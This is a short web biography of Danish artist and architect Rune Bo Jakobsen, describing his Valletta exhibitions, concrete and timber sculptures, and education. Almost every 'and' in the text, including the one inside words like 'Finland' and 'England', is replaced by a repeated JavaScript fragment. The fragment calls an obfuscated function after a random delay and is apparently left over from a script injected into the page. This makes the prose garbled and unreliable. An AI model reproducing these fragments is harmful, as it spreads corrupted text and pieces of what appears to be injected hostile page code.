Rune Bo Jakobsen

Danish artist andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and architect Rune Bo Jakobsen has studied, worked andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and tutored in Denmark, Arizona, Italy, Finlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, Greece, Mexico andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Malta. Rune is one of two local artists taking part in Allura’s joint 2018 exhibition in Valletta, alongside Maltese artist Andrew Borg. The show, entitled Gebla – Paintings from the Rock, runs from December 23rd until January 6th 2019. Rune also took part in Allura’s event, The Trail, in November 2018, during which he was demonstrating his techniques in painting andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sculpture at the Carob Tree in Spinola Bay.

Living in Valletta, Jakobsen finds inspiration in Malta’s limestone cities andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in the reflections in its harbours. In his paintings, Rune reveals the colours hidden in the shadows.

Rune was supported by the Malta Arts Fund in 2013 for his travelling public work ‘Popcorn’. Rune experiments with concrete sculpture, creating ‘expandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding’ volumes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sensory experiences. His sculptures include the ‘Embryonic Horse’, a limited series bronze cast addressing nature, infancy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sensation.

In parallel with his 2016 Valletta ‘Backstreets’ paintings, Rune has developed timber sculptures, combining the negative space used in casting with his architectural background where space, mass, light andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and movement are expressed in a three-dimensional form.

Jakobsen studied at the Istituto Statale d’arte di Orvieto & Monopoli in Italy between 1993-94 followed by a masters in Architecture in Denmark between 1994 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 2000. His portraits are published in The National Portrait Gallery of Malta by Nicolas De Piro andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and published illustrations in DC2015 for the Planning Authority in Malta. His paintings andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sculptures have found home in Italy, Englandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, Denmark, Finlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, United States, Hollandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, Spain, France, Germany, Riga, Australia, Malta & Icelandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and.